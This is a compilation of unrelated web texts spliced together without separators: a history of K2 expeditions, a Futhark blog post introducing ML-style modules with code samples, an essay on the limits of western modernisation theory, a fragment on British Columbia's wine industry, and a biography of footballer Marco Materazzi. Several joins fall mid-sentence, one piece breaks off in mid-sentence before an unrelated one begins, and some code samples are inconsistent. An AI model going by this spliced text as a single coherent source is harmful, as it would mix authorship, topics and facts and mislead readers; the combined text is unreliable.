British climbers Aleister Crowley (1875-1947), an occultist and hedonist, and Oscar Eckenstein (1859-1921) led an expedition of six climbers that made the first attempt to climb K2, from March to June 1902. The party spent 68 days on the mountain, with only eight clear days, attempting the northeast ridge. Spending two months at high altitude, the party made five summit attempts. The last one began on June 8 but eight days of bad weather defeated them, and they retreated after a high point of 21,407 feet (6,525 meters). Scraps of expedition clothing were later found below K2 and are displayed at Neptune Mountaineering in Boulder, Colorado.
1909: First Attempt on Abruzzi Spur
Italian climber Prince Luigi Amedeo (1873-1933), the Duke of Abruzzi, led an expedition to K2 in 1909. His party attempted the southeast ridge, the Abruzzi Spur, reaching an elevation of 20,505 feet (6,250 meters) before deciding that the climb was too difficult. The ridge is now the usual way that most climbers ascend K2. Before departing, the Duke said that the mountain would never be climbed.
1939: First American Attempt on K2
Fritz Wiessner, a great German climber transplanted to the US, led a 1939 American expedition that set a new world altitude record by reaching 27,500 feet on the Abruzzi Spur. The party was 656 feet from the summit before turning around. Four team members were killed.
1953: Famous Ice Axe Arrest Saves Five
One of the most famous events in American climbing history occurred during a 1953 expedition led by Charles Houston. A 10-day storm trapped the team at 25,592 feet. Abandoning a summit attempt, the climbers attempted to save 27-year-old Art Gilkey, who had developed altitude sickness, by descending to a lower altitude. At one point during their desperate descent, Pete Schoening saved five falling climbers by arresting their fall with the rope and his ice ax plunged behind a boulder. The ice ax is displayed at the Bradford Washburn American Mountaineering Museum in Golden, Colorado.
1977: Second Ascent by Japanese
The peak's second ascent came on August 9, 1977, 23 years after K2's first ascent, by a Japanese team led by Ichiro Yoshizawa. The team also included Ashraf Aman, the first Pakistani climber to summit K2.
1978: First American Ascent
The first American ascent was in 1978. A strong team led by James Whittaker ascended a new route up the peak's Northeast Ridge.
1986: 13 Climbers Die on K2
1986 was a tragic year on K2 with 13 climbers dying. Five climbers died in a severe storm between August 6 and August 10. Eight other climbers died in the preceding six weeks. Deaths were by avalanche, falling, and rockfall. The climbers killed by the storm were part of a group cobbled together from several failed expeditions. Three of the climbers reached the top on August 4. During the descent, they met up with four other climbers and stayed at 26,000 feet where they were trapped in a storm. Five climbers died while only two survived.
2008: 11 Climbers Die on K2
In August 2008, 11 climbers died on the upper slopes of K2 after an avalanche caused by a fallen ice serac either killed them outright or isolated them above The Bottleneck, a steep ice couloir.
Kaltenbrunner Climbs K2 Without Extra Oxygen
As of 2014, 15 women had summitted K2, but four died on the descent. On August 23, 2011, Gerlinde Kaltenbrunner reached the summit of K2, becoming the first woman to climb all 14 of the 8,000-meter mountains without using supplemental oxygen. Kaltenbrunner also became the second woman to climb the 8,000ers. A team of Nepali women summited in 2014, including Pasang Lhamu Sherpa Akita, Maya Sherpa, and Dawa Yangzum Sherpa.
Books About K2
K2, having its share of epic ascents, is also a mountain of literature. Some of the best writing about the trials of mountaineering have come from gripping adventures on the Savage Mountain. Here are some recommended books if you want to read more about K2.Posted on January 25, 2017 by Troels Henriksen
When most programmers think of module systems, they think of rather utilitarian systems for namespace control and splitting programs across multiple files. And in most languages, the module system is indeed little more than this. But when it became time to add a module system to Futhark, we eyed an opportunity to address several long-standing weaknesses in one fell swoop. We observed that an ML-style module system would allow us to add modularity, namespace control, polymorphism, and higher-order functions, or at least functional equivalents. In short, we would gain the ability to write generic code in Futhark; something we have sorely missed. And crucially: the ML module system is defined entirely in terms of compile-time substitution. This gives us a guarantee that no matter which abstractions and parametric behaviour is encoded by the programmer via the module system, we can strip it away immediately, and produce a program in the monomorphic first-order core language that is expected by our optimising compiler. This is a core part our of language design philosophy.
This blog post will give an introduction to the Futhark module system. Prior knowledge of ML-style module systems is not required. If you do already have ML experience, note that I will be using Futhark’s syntax, which differs somewhat from both Standard ML and OCaml. Most notably, Futhark makes use of curly braces; an inescapable prerequisite for any language that hopes for adoption.
At the most basic level, a module (called a struct in Standard ML) is merely a collection of declarations:
module AddI32 = { type t = i32 let add (x: t) (y: t): t = x + y let zero: t = 0 }
Now, AddI32.t is an alias for the type i32, and Addi32.add is a function that adds two values of type i32. The only peculiar thing about this notation is the equal sign before the opening brace. The declaration above is actually a combination of a module binding:
module ADDI32 =...
And a module expression:
{ type t = i32 let add (x: t) (y: t): t = x + y let zero: t = 0 }
In this case, the module expression is just some declarations enclosed in curly braces. But, as the name suggests, a module expression is just some expression that returns a module. A module expression is syntactically and conceptually distinct from a regular value expression, but serves much the same purpose. The module language is designed such that evaluating a module expression can always be done at compile time.
Apart from a sequence of declarations, a module expression can also be merely the name of another module:
module Foo = AddInt32
Now every name defined in AddInt32 is also available in Foo. At compile-time, only a single version of the add function is defined.
What we have seen so far is nothing more than a simple namespacing mechanism. The ML module system only becomes truly powerful once we introduce module types and parametric modules (in Standard ML, these are called signatures and functors).
A module type is the counterpart to a value type. It describes which names are defined, and as what. We can define a module type that describes AddInt32 :
module type Int32Adder = { type t = i32 val add: t -> t -> t val zero: t }
As with modules, we have the notion of a module type expression. In this case, the module type expression is a sequence of specs enclosed in curly braces. A spec is a requirement of how some name must be defined: as a value (including functions) of some type, as a type abbreviation, or as an abstract type (which we will return to later).
We can assert that some module implements a specific module type via module type ascription:
module Foo = AddInt32 : Int32Adder
Syntactical sugar that allows us to move the module type to the left of the equal sign makes a common case look smoother:
module AddInt32: Int32Adder = {... }
When we are ascribing a module with a module type, the module type functions as a filter, removing anything not explicitly mentioned in the module type:
module Bar = AddInt32 : { type t = int val zero: t }
An attempt to access Bar.add will result in a compilation error, as the ascription has hidden it. This is known as an opaque ascription, because it obscures anything not explicitly mentioned in the module type. The module systems in Standard ML and OCaml support both opaque and transparent ascription, but in Futhark we support only the former. This example also demonstrates the use of an anonymous module type. Module types work much like structural types known from e.g. Go (“compile-time duck typing”), and are named only for convenience.
We can use type ascription with abstract types to hide the definition of a type from the users of a module:
module Speeds: { type thing val car: thing val plane: thing val futhark: thing val speed: thing -> int } = { type thing = int let car: thing = 0 let plane: thing = 1 let futhark: thing = 2 let speed (x: thing): int = if x == car then 120 else if x == plane then 800 else if x == futhark then 10000 else 0 -- will never happen }
The (anonymous) module type asserts that a distinct type thing must exist, but does not mention its definition. There is no way for a user of the Speeds module to do anything with a value of type Speeds.thing apart from passing it to Speeds.speed (except putting it in an array or tuple, or returning it from a function). Its definition is entirely abstract. Furthermore, no values of type Speeds.thing exist except those that are created by the Speeds module.
While module types serve some purpose for namespace control and abstraction, their most interesting use is in the definition of parametric modules. A parametric module is conceptually equivalent to a function. Where a function takes a value as input and produces a value, a parametric module takes a module and produces a module. For example, given a module type:
module type Monoid = { type t val add: t -> t -> t val zero: t }
We can define a parametric module that accepts a module satisfying the Monoid module type, and produces a module containing a function for collapsing an array:
module Sum(M: Monoid) = { let sum (a: []M.t): M.t = reduce M.add M.zero a }
There is an implied assumption here, which is not captured by the type system: the function add must be associative and have zero as its neutral element. These constraints are from the parallel semantics of reduce, and the algebraic concept of a monoid. Note that in Monoid, no definition is given of the type t - we only assert that there must be some type t, and that certain operations are defined for it.
We can use the parametric module Sum thus:
module SumI32s = Sum(AddInt32)
We can now refer to the function SumI32s.sum, which has type []i32 -> i32. The type is only abstract inside the definition of the parametric module. We can instantiate Sum again with another module; this one anonymous:
module Prod64s = Sum({ type t = 64 let (x: f64) (y: f64): f64 = x * y let zero: f64 = 1.0 })
The function Prodf64s.sum has type []f64 -> f64, and computes the product of an array of numbers (we should probably have picked a more generic name than sum for this function).
Operationally, each application of a parametric module results in its definition being duplicated and references to the module parameter replace by references to the concrete module argument. This is quite similar to how C++ templates are implemented. Indeed, parametric modules can be seen as a simplified variant with no specialisation, and with module types to ensure rigid type checking. In C++, a template is type-checked when it is instantiated, whereas a parametric module is type-checked when it is defined.
Parametric modules, like other modules, can contain more than one declaration. This is useful for giving related functionality a common abstraction, for example to implement linear algebra operations that are polymorphic over the type of scalars. This example uses an anonymous module type for the module parameter, and the open declaration, which brings the names from a module into the current scope:
module Linalg(M: { type scalar val zero: scalar val add: scalar -> scalar -> scalar val mul: scalar -> scalar -> scalar }) = { open M let dotprod (xs: [n]scalar) (ys: [n]scalar): scalar = reduce add zero (zipWith mul xs ys) let matmul (xss: [n][p]scalar) (yss: [p][m]scalar): [n][m]scalar = map (\xs -> map (dotprod xs) (transpose yss)) xss }
We are using these facilities to carve a Futhark standard library, although it is still very sparse.
The above examples of parametric modules could equally well have been implemented using polymorphic higher-order functions. Indeed, there has been work in the ML community on blurring the phase distinction between modules and values. A module can be viewed as nothing but a record containing types and values. However, for Futhark, we like the phase distinction. We want to be sure we can compile away all the higher-order behaviour, in order to guarantee simple lightweight code that does not have to keep function pointers or closure objects around. An ML-style module system gives us just this, and is very simple to implement. The implementation in Futhark was added in just one week, at a cost of less than 500 lines of code, although it did build on an earlier embryonic module system without module types or parametric modules.
Of course, we are well aware that the module system is significantly more verbose and clunky than proper higher-order functions. We intend to add shorthand forms for just those cases that can be encoded in the module system, likely including some mechanism similar to type classes in order to permit ad-hoc bounded polymorphism. With our module system, we now have a basis that is powerful enough to encode the generic code we need, as well as a compilation model that is able to remove all the overhead of abstraction. All we have left to do is add more convenient interfaces to the sound core functionality.The west has lost the power to shape the world in its own image – as recent events, from Ukraine to Iraq, make all too clear. So why does it still preach the pernicious myth that every society must evolve along western lines?
“So far, the 21st century has been a rotten one for the western model,” according to a new book, The Fourth Revolution, by John Micklethwait and Adrian Wooldridge. This seems an extraordinary admission from two editors of the Economist, the flag-bearer of English liberalism, which has long insisted that the non-west could only achieve prosperity and stability through western prescriptions. It almost obscures the fact that the 20th century was blighted by the same pathologies that today make the western model seem unworkable, and render its fervent advocates a bit lost. The most violent century in human history, it was hardly the best advertisement for the “bland fanatics of western civilisation”, as the American theologian Reinhold Niebuhr called them at the height of the cold war, “who regard the highly contingent achievements of our culture as the final form and norm of human existence”.
Niebuhr was critiquing a fundamentalist creed that has coloured our view of the world for more than a century: that western institutions of the nation-state and liberal democracy will be gradually generalised around the world, and that the aspiring middle classes created by industrial capitalism will bring about accountable, representative and stable governments – that every society, in short, is destined to evolve just as the west did. Critics of this teleological view, which defines “progress” exclusively as development along western lines, have long perceived its absolutist nature. Secular liberalism, the Russian thinker Alexander Herzen cautioned as early as 1862, “is the final religion, though its church is not of the other world but of this”. But it has had many presumptive popes and encyclicals: from the 19th-century dream of a westernised world long championed by the Economist, in which capital, goods, jobs and people freely circulate, to Henry Luce’s proclamation of an “American century” of free trade, and “modernisation theory” – the attempt by American cold warriors to seduce the postcolonial world away from communist-style revolution and into the gradualist alternative of consumer capitalism and democracy.
The collapse of communist regimes in 1989 further emboldened Niebuhr’s bland fanatics. The old Marxist teleology was retrofitted rather than discarded in Francis Fukuyama’s influential end-of-history thesis, and cruder theories about the inevitable march to worldwide prosperity and stability were vended by such Panglosses of globalisation as Thomas Friedman. Arguing that people privileged enough to consume McDonald’s burgers don’t go to war with each other, the New York Times columnist was not alone in mixing old-fangled Eurocentrism with American can-doism, a doctrine that grew from America’s uninterrupted good fortune and unchallenged power in the century before September 2001.
The terrorist attacks of 9/11 briefly disrupted celebrations of a world globalised by capital and consumption. But the shock to naive minds only further entrenched in them the intellectual habits of the cold war – thinking through binary oppositions of “free” and “unfree” worlds – and redoubled an old delusion: liberal democracy, conceived by modernisation theorists as the inevitable preference of the beneficiaries of capitalism, could now be implanted by force in recalcitrant societies. Invocations of a new “long struggle” against “Islamofascism” aroused many superannuated cold warriors who missed the ideological certainties of battling communism. Intellectual narcissism survived, and was often deepened by, the realisation that economic power had begun to shift from the west. The Chinese, who had “got capitalism”, were, after all, now “downloading western apps”, according to Niall Ferguson. As late as 2008, Fareed Zakaria declared in his much-cited book, The Post-American World, that “the rise of the rest is a consequence of American ideas and actions” and that “the world is going America’s way”, with countries “becoming more open, market-friendly and democratic”.
A world in flames
One event after another in recent months has cruelly exposed such facile narratives. China, though market-friendly, looks further from democracy than before. The experiment with free-market capitalism in Russia has entrenched a kleptocratic regime with a messianic belief in Russian supremacism. Authoritarian leaders, anti-democratic backlashes and rightwing extremism define the politics of even such ostensibly democratic countries as India, Israel, Sri Lanka, Thailand and Turkey.
The atrocities of this summer in particular have plunged political and media elites in the west into stunned bewilderment and some truly desperate cliches. The extraordinary hegemonic power of their ideas had helped them escape radical examination when the world could still be presented as going America’s way. But their preferred image of the west – the idealised one in which they sought to remake the rest of the world – has been consistently challenged by many critics, left or right, in the west as well as the east.
Herzen was already warning in the 19th century that “our classic ignorance of the western European will be productive of a great deal of harm; racial hatred and bloody collisions will develop from it.” Herzen was sceptical of those liberal “westernisers” who believed that Russia could progress only by diligently emulating western institutions and ideologies. Intimate experience and knowledge of Europe during his long exile there had convinced him that European dominance, arrived at after much fratricidal violence and underpinned by much intellectual deception and self-deception, did not amount to “progress”. Herzen, a believer in cultural pluralism, asked a question that rarely occurs to today’s westernisers: “Why should a nation that has developed in its own way, under completely different conditions from those of the west European states, with different elements in its life, live through the European past, and that, too, when it knows perfectly well what that past leads to?”
Facebook Twitter Pinterest An empty billboard site in São Paolo, Brazil. Billboard advertising has been banned there since 2007. Photograph: Tony de Marco
The brutality that Herzen saw as underpinning Europe’s progress turned out, in the next century, to be a mere prelude to the biggest bloodbath in history: two world wars, and ferocious ethnic cleansing that claimed tens of millions of victims. The imperative to emulate Europe’s progress was nevertheless embraced by the ruling elites of dozens of new nation-states that emerged from the ruins of European empires in the mid-20th century, and embarked on a fantastic quest for western-style wealth and power. Today, racial hatred and bloody collisions ravage the world where liberal democracy and capitalism were expected to jointly reign.
This moment demands a fresh interrogation of what Neibuhr euphemistically called “the highly contingent achievements of the west”, and closer attention to the varied histories of the non-west. Instead, the most common response to the present crisis has been despair over western “weakness” – and much acrimony over what Barack Obama, president of the “sole superpower” and the “indispensable nation” should have done to fix it. “Will the West Win?” Prospect asks on the cover of its latest issue, underlining the forlornness of the question with a picture of Henry Kissinger, whose complicity in various murderous fiascos from Vietnam to Iraq has not prevented his re-incarnation among the perplexed as a sage of hardheaded realism.
Robert Kagan, writing in the Wall Street Journal at the start of September, articulated a defiant neoconservative faith that America is condemned to use “hard power” against the enemies of liberal modernity who understand no other language, such as Japan and Germany in the early 20th century, and Putin’s Russia today. Kagan doesn’t say which manifestation of hard power – firebombing Germany, nuking Japan, napalming Vietnam – the United States should aim against Russia, or if the shock-and-awe campaign that he cheerled in Iraq is a better template. Roger Cohen of the New York Times provides a milder variation on the clash of civilisations discourse when he laments that “European nations with populations from former colonies often seem unable to celebrate their values of freedom, democracy and the rule of law”.
Such diehard believers in the west’s capacity to shape global events and congratulate itself eternally were afflicted with an obsolete assumption even in 1989: that the 20th century was defined by the battles between liberal democracy and totalitarian ideologies, such as fascism and communism. Their obsession with a largely intra-western dispute obscured the fact that the most significant event of the 20th century was decolonisation, and the emergence of new nation-states across Asia and Africa. They barely registered the fact that liberal democracies were experienced as ruthlessly imperialist by their colonial subjects.
For people luxuriating at a high level of abstraction, and accustomed to dealing during the cold war with nation-states organised simply into blocs and superblocs, it was always too inconvenient to examine whether the freshly imagined communities of Asia and Africa were innately strong and cohesive enough to withhold the strains and divisions of state-building and economic growth. If they had indeed risked engaging with complexity and contradiction, they would have found that the urge to be a wealthy and powerful nation-state along western lines initially ordered and then disordered first Russia, Germany and Japan, and then, in our own time, plunged a vast swath of the postcolonial world into bloody conflict.
History’s long-term losers
The temptation to imitate the evidently triumphant western model, as Herzen feared, was always greater than the urge to reject it. For many in the old and sophisticated societies of Asia and Africa, chafing under the domination of western Europe’s very small countries, it seemed clear that human beings could muster up an unprecedented collective power through new European forms of organisation like the nation-state and the industrialised economy. Much of Europe had first learned this harsh lesson in political and military innovation from Napoleon’s all-conquering army. In the century after the Napoleonic wars, European societies gradually learned how to deploy effectively a modern military, technology, railways, roads, judicial and educational systems and create a feeling of belonging and solidarity, most often by identifying dangerous enemies within and without.
As Eugen Weber showed in his classic book Peasants into Frenchmen (1976), this was a uniformly brutal process in France itself. Much of Europe then went on to suffer widespread dispossession, the destruction of regional languages and cultures, and the institutionalisation of hoary prejudices like antisemitism. The 19th century’s most sensitive minds, from Kierkegaard to Ruskin, recoiled from such modernisation, though they did not always know the darker side of it: rapacious European colonialism in Asia and Africa. By the 1940s, competitive nationalisms in Europe stood implicated in the most vicious wars and crimes against religious and ethnic minorities witnessed in human history. After the second world war, European countries – under American auspices and the pressures of the cold war – were forced to imagine less antagonistic political and economic relations, which eventually resulted in the European Union.
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But the new nation-states in Asia and Africa had already started on their own fraught journey to modernity, riding roughshod over ethnic and religious diversity and older ways of life. Asians and Africans educated in western-style institutions despaired of their traditionalist elites as much as they resented European dominance over their societies. They sought true power and sovereignty in a world of powerful nation-states – what alone seemed to guarantee them and their peoples a fair chance at strength, equality and dignity in the white man’s world. In this quest China’s Mao Zedong and Turkey’s Mustafa Kemal Atatürk as much as Iran’s democratically-elected prime minister Mohammed Mossadegh followed the western model of mass-mobilisation and state-building.
By then European and American dominance over “the world’s economies and peoples” had, as the Cambridge historian Christopher Bayly writes in The Birth of the Modern World, turned a large part of humanity “into long-term losers in the scramble for resources and dignity”. Nevertheless, the explicitly defined aim of Asia and Africa’s first nationalist icons, who tended to be socialist and secular (Atatürk, Nehru, Nasser, Nkrumah, Mao, and Sukarno), was “catch-up” with the west. Recent ruling classes of the non-west have looked to McKinsey rather than Marx to help define their socioeconomic future; but they have not dared to alter the founding basis of their legitimacy as “modernisers” leading their countries to convergence with the west and attainment of European and American living standards. As it turns out, the latecomers to modernity, dumping protectionist socialism for global capitalism, have got their timing wrong again.
In the 21st century that old spell of universal progress through western ideologies – socialism and capitalism – has been decisively broken. If we are appalled and dumbfounded by a world in flames it is because we have been living – in the east and south as well as west and north – with vanities and illusions: that Asian and African societies would become, like Europe, more secular and instrumentally rational as economic growth accelerated; that with socialism dead and buried, free markets would guarantee rapid economic growth and worldwide prosperity. What these fantasies of inverted Hegelianism always disguised was a sobering fact: that the dynamics and specific features of western “progress” were not and could not be replicated or correctly sequenced in the non-west.
The enabling conditions of Europe’s 19th-century success – small, relatively homogenous populations, or the ability to send surplus populations abroad as soldiers, merchants and missionaries – were missing in the large and populous countries of Asia and Africa. Furthermore, imperialism had deprived them, as Basil Davidson argued in The Black Man’s Burden: Africa and the Curse of the Nation-State, of the resources to pursue western-style economic development; it had also imposed ruinous ideologies and institutions upon societies that had developed, over centuries, their own viable political units and social structures.
Recklessly exported worldwide even today, the west’s successful formulas have continued to cause much invisible suffering. What may have been the right fit for 19th-century colonialists in countries with endless resources cannot secure a stable future for India, China, and other late arrivals to the modern world, which can only colonise their own territories and uproot their own indigenous peoples in the search for valuable commodities and resources.
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The result is endless insurgencies and counter-insurgencies, wars and massacres, the rise of such bizarre anachronisms and novelties as Maoist guerrillas in India and self-immolating monks in Tibet, the increased attraction of unemployed and unemployable youth to extremist organisations, and the endless misery that provokes thousands of desperate Asians and Africans to make the risky journey to what they see as the centre of successful modernity.
It should be no surprise that religion in the non-western world has failed to disappear under the juggernaut of industrial capitalism, or that liberal democracy finds its most dedicated saboteurs among the new middle classes. The political and economic institutions and ideologies of western Europe and the United States had been forged by specific events – revolts against clerical authority, industrial innovations, capitalist consolidation through colonial conquest – that did not occur elsewhere. So formal religion – not only Islam, Hinduism, Judaism, and the Russian Orthodox Church, but also such quietist religions as Buddhism – is actually now increasingly allied with rather than detached from state power. The middle classes, whether in India, Thailand, Turkey or Egypt, betray a greater liking for authoritarian leaders and even uniformed despots than for the rule of law and social justice.
The atrocities of this summer have plunged political and media elites in the west into stunned bewilderment
But then western ideologues during the cold war absurdly prettified the rise of the “democratic” west. The long struggle against communism, which claimed superior moral virtue, required many expedient feints. And so the centuries of civil war, imperial conquest, brutal exploitation, and genocide were suppressed in accounts that showed how westerners made the modern world, and became with their liberal democracies the superior people everyone else ought to catch up with. “All of the western nations,” James Baldwin warned during the cold war in 1963, are “caught in a lie, the lie of their pretended humanism; this means that their history has no moral justification, and the west has no moral authority.” The deception that an African-American easily divined has continued, nevertheless, to enjoy political support and intellectual respectability long after the end of the cold war.
Thus the editors of the Economist elide in The Fourth Revolution the history of mass slaughter in the west itself that led to the modern nation-state: the religious wars of the 17th century, the terror of French revolutions, the Napoleonic wars, the Franco-Prussian war and the wars of Italian unification, among others. Mainstream Anglo-American writers who vend popular explanations of how the west made the modern world veer between intellectual equivocation and insouciance about the west’s comparative advantage of colonialism, slavery and indentured labour. “We cannot pretend,” Ferguson avers, that the “mobilisation of cheap and probably underemployed Asian labour to grow rubber and dig gold had no economic value.” A recent review in the Economist of a history explaining the compact between capitalism and slavery protests that “almost all the blacks” in the book are “victims”, and “almost all the whites villains”.
Understandably, history has to be “balanced” for Davos Men, who cannot bear too much reality in their effervescent prognoses of “convergence” between the west and the rest. But obscuring the monstrous costs of the west’s own “progress” destroys any possibility of explaining the proliferation of large-scale violence in the world today, let along finding a way to contain it. Evasions, suppressions and downright falsehoods have resulted, over time, in a massive store of defective knowledge – an ignorance that Herzen correctly feared to be pernicious – about the west and the non-west alike. Simple-minded and misleading ideas and assumptions, drawn from this blinkered history, today shape the speeches of western statesmen, thinktank reports and newspaper editorials, while supplying fuel to countless log-rolling columnists, TV pundits and terrorism experts.
The price of progress
A faith in the west’s superiority has not always been an obstacle to understanding the tormented process of modernisation in the rest of the world, as the French anti-communist Raymond Aron demonstrated in books like Progress and Disillusion (1968) and The Opium of the Intellectuals (1955). Aron believed the west made the modern world with its political and economic innovations and material goals, but did not flinch from examining what this fact really augured about the modern world. As he saw it, the conflicts and contradictions thrown up by the pursuit of modernity had been hard enough to manage for western societies for much of the last century. Industrial societies alone had seemed able to improve material conditions, and bring about a measure of social and economic equality; but the promise of equality, which staved off social unrest, was increasingly difficult to fulfill because specialisation kept producing fresh hierarchies.
Some parts of the west had achieved some reduction in material inequalities, due to a market economy which produced both desirable goods and the means to acquire them; organised labour, which made it possible for workers to demand higher wages; and political liberty, which made the rulers accountable to the ruled. And some western countries had also, however brutally, got the sequencing broadly right: they had managed to build resilient states before trying to turn peasants into citizens. (“We have made Italy; now we must make the Italians,” the Italian nationalist Massimo d’Azeglio famously proclaimed in 1860.) The most successful European states had also accomplished a measure of economic growth before gradually extending democratic rights to a majority of the population. “No European country,” Aron pointed out, “ever went through the phase of economic development which India and China are now experiencing, under a regime that was representative and democratic.” Nowhere in Europe, he wrote in The Opium of Intellectuals, “during the long years when industrial populations were growing rapidly, factory chimneys looming up over the suburbs and railways and bridges being constructed, were personal liberties, universal suffrage and the parliamentary system combined”.
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Countries outside the west, however, faced simultaneously the arduous tasks of establishing strong nation-states and viable economies, and satisfying the demands for dignity and equality of freshly politicised peoples. This made the importation of western measures and techniques of success in places that “have not yet emerged from feudal poverty” an unprecedented and perilous experiment. Travelling through Asia and Africa in the 1950s, Aron discerned the potential for authoritarianism as well as dark chaos.
There were not many political choices before societies that had lost their old traditional sources of authority while embarking on the adventure of building new nation-states and industrial economies in a secular and materialist ethos. These rationalised societies, constituted by “individuals and their desires”, had to either build a social and political consensus themselves or have it imposed on them by a strongman. Failure would plunge them into violent anarchy.
Aron was no vulgar can-doist. American individualism, the product of a short history of unrepeatable national success, in his view, “spreads unlimited optimism, denigrates the past, and encourages the adoption of institutions which are in themselves destructive of the collective unity”. Nor was he a partisan of the blood-splattered French revolutionary tradition, which requires “people to submit to the strictest discipline in the name of the ultimate freedom” – whose latest incarnation is Isis and its attempt to construct an utopian “Islamic State” through a reign of terror.
The state under siege
Applied to the many nation-states that emerged in the mid-20th century, Aron’s sombre analysis can only embarrass those who have been daydreaming since 1989 about a worldwide upsurge of liberal democracy in tandem with capitalism. Indeed, long before the rise of European totalitarianisms, urgent state-building and the search for rapid and high economic growth had doomed individual liberties to |
grape growing. In the Okanagan, which produces 80% of B.C.’s wines, vineyards are located in close proximity to Lake Okanagan to take advantage of its moderating influence. Further away, they won’t survive winter or the dry, hot summers, Mr. Stanley said.
Already, vineyards have pushed out apple and cherry orchards, but that too has reached its limit. Competition with developers of recreational properties selling lakeside condos has pushed up land prices, making the business one where capital demands are intense.
Explains Mr. Prodan: “You have to acquire the land to begin with, and … you are starting off with some of the highest land prices in the wine industry in the world. [Then you] prepare the ground and plant the grapes, and it’s a huge endeavour. And then it takes three to five years before you get your first vintage-worth out of it.”
With traditional financial institutions shunning the business, the industry has had to be creative to find funds.
Chinese buyers represent the latest influx of investors, but Alberta oil money has been a major and steady contributor. Celebrities have also done their part —Vancouver-born actor Jason Priestley and Wayne Gretzky are among those with interests in the B.C. industry.
Still, the sector has become an economic force. Sales of B.C.-produced VQA wine are expected to exceed $220-million in 2014, up from only $6-million in 1992. Wineries contribute $2-billion to the provincial economy, employ some 10,000 people, and draw 800,000 visitors every year.
“The tourist impact is very significant,” said Mr. McWatters, a veteran who founded, among other wineries, B.C.’s first estate winery in 1980, and is planning to open a new state-of-the-art winery next spring. “People come to the Okanagan largely for wine.”
Guenther Lang played a big role in encouraging the startup of family wineries. Convinced that the Okanagan had winemaking potential similar to the lake region of Northern Italy, the German financier moved to the area to launch Lang Vineyards in 1990. Then he successfully lobbied the provincial government to allow wine farmers to sell directly to the public, obtaining the first of many farm-gate licenses.
“I was always optimistic for the wine industry,” said Mr. Lang, a former financial auditor for Mercedes Benz. “In the early time, I met a supplier from Bordeaux, France, and he came here to visit me, and he said: ‘You have such a great Indian summer. You must have great growing conditions.’ He confirmed what I knew.”Marco Materazzi Ufficiale OMRI ( Italian pronunciation: [ˈmarko mateˈrattsi]; born 19 August 1973) is an Italian former professional footballer and manager.
Early in his career, Materazzi played with various Italian teams in Serie B and Serie C, and with Everton in the Premier League. He spent two periods with Perugia (1995–98 and 1999–2001) and signed for Internazionale in 2001 for €10 million. At club level, he won a number of major honors with Inter, including five Serie A league titles in a row from 2006 to 2010, one UEFA Champions League, one FIFA Club World Cup, four Coppa Italia titles, and the Supercoppa Italiana four times.[1]
Materazzi earned 41 caps for Italy from his debut in 2001 until 2008, playing in two World Cups and two European Championships. He was one of the key players in the 2006 FIFA World Cup Final against France, as he scored Italy's goal and later, in extra time, he received a headbutt from Zinedine Zidane, who was punished with a red card.[2] Italy then went on to win the World Cup in a penalty shoot-out, during which Materazzi scored again.
A controversial and provocative figure in football, he was known for his very physical and aggressive style of play as a defender, as well as his tight marking and strong, harsh tackling, which led him to receive more than 60 yellow cards and 25 red cards throughout his playing career.[3] Due to his temper, and his commitment to rash, heavy challenges, he has been involved in several altercations with other players during matches,[4] drawing comparisons with retired defender Pasquale Bruno.[5] The Times placed Materazzi at number 45 in their list of the 50 hardest football players in history.[6]
Club career [ edit ]
Early career [ edit ]
Materazzi began his footballing career with the Lazio and then the Messina Peloro youth teams from 1990 to 1991.[7] He spent his early career in the lower divisions of Italian football, with amateur side Tor di Quinto (1991–92), Serie C2 team Marsala (1993–94), and Serie C1 Trapani (1994–95), where he narrowly missed a historic promotion to Serie B after losing a promotion playoff to Gualdo. Serie B squad Perugia Calcio signed Materazzi for the first time in 1995,[8] but he spent a part of the 1996–97 season in Serie C with Carpi.
He then spent 1998–99 with Everton,[9] where he was sent off three times in just 27 games, and scored twice, against Middlesbrough in the league[10] and Huddersfield Town in the League Cup.[11][12]
He then returned to Perugia in 1999 and scored 12 goals, including 7 from penalties in the 2000–01 season, breaking Daniel Passarella's Serie A record of most goals by a defender in one season.[12]
Internazionale [ edit ]
2001–2004: Debut and controversies [ edit ]
Materazzi's number 23 shirt
Materazzi was signed by Internazionale in July 2001 for €10 million.[13][14] He took squad number 23 and made his competitive debut for the club on 26 August in the opening championship match against Perugia.[15] Materazzi's first goal for Inter came only in his second appearance, netting inside 10 minutes in a 2–2 draw at Parma.[16] He also played eight time in the season's UEFA Cup, with the debuting match coming on 20 September in the 3–0 win versus Romania's Brașov.[17]
Materazzi played 23 matches in league, including the final decisive match versus Lazio which lost Inter the championship title;[18] he was a protagonist of a controversy episode following the final whistle as he was included in a heated discussion with the opposite players which also went to physical confrontation.[19][20] He was caught by the cameras shouting at Lazio captain Alessandro Nesta, saying: "I won you the title", in reference to Perugia's win over Juventus in 2000 which lead Lazio to the title.[19]
In the following season, Materazzi made 33 appearances across all competitions, including 13 in UEFA Champions League, where he played his first match on 14 August 2002 in a goalless draw against Sporting CP.[21]
Materazzi's 2003–04 season was highlighted by injuries, such as the one he suffered on 25 November during the 5–1 home loss to Arsenal in UEFA Champions League group stage which kept him out of action for two months.[22] He was in the center of a controversy again in the beginning of 2004 for aggression towards Siena player Bruno Cirillo. This happened on 1 February in a match which was won 4–0 by Inter.[23] Materazzi (who did not play in the match) confronted Cirillo in the dressing rooms and begun spewing insults towards him. He also punched him in the face, fracturing his lip.[24][25] After the incident was denounced, the sports judge Maurizio Laudi suspended Materazzi until 29 March,[26] meaning that he will miss eight club matches and one international match.[27][28] In addition to his domestic suspension, Materazzi was also suspended by UEFA for two UEFA Cup games.[29] Inter was also fined with €5,000.[30] Materazzi later apologized for the incident, saying that he "behaved badly" and "reacted in a bad way", also adding that he would not appeal the suspension.[31]
2004–2008: Domestic success under Mancini [ edit ]
In July 2004, at the start of 2004–05 season, Inter bench was entrusted to manager Roberto Mancini, with whom – in the first season – Materazzi lost his place in the starting lineup.[32] In the next season he played more,[33] and was the only Italian to score a goal for the club that season. On 5 March 2006, Materazzi scored an 89th-minute header at Roma to rescue his side a point and to break the hosts' record of 11 consecutive victories.[34][35] He finished the 2005–06 season by totaling 39 appearances across all competitions.
Materazzi signed a new contract in August 2006 which kept him at San Siro until June 2010.[36] At the end of the year he was a nominee for UEFA Team of the Year along with teammate Fabio Grosso.[37] The 2006–07 season saw him scoring 10 goals, thus being the top scoring defender of Serie A.[38] He notably scored in the 4–3 win in Derby della Madonnina against Milan,[39] an overhead kick versus Messina and a brace away to Siena on 23 April which won the club's 15th league title with five games remaining.[40][41] For his performances, Materazzi was voted the Serie A Defender of the Year.[42]
Materazzi during a training session
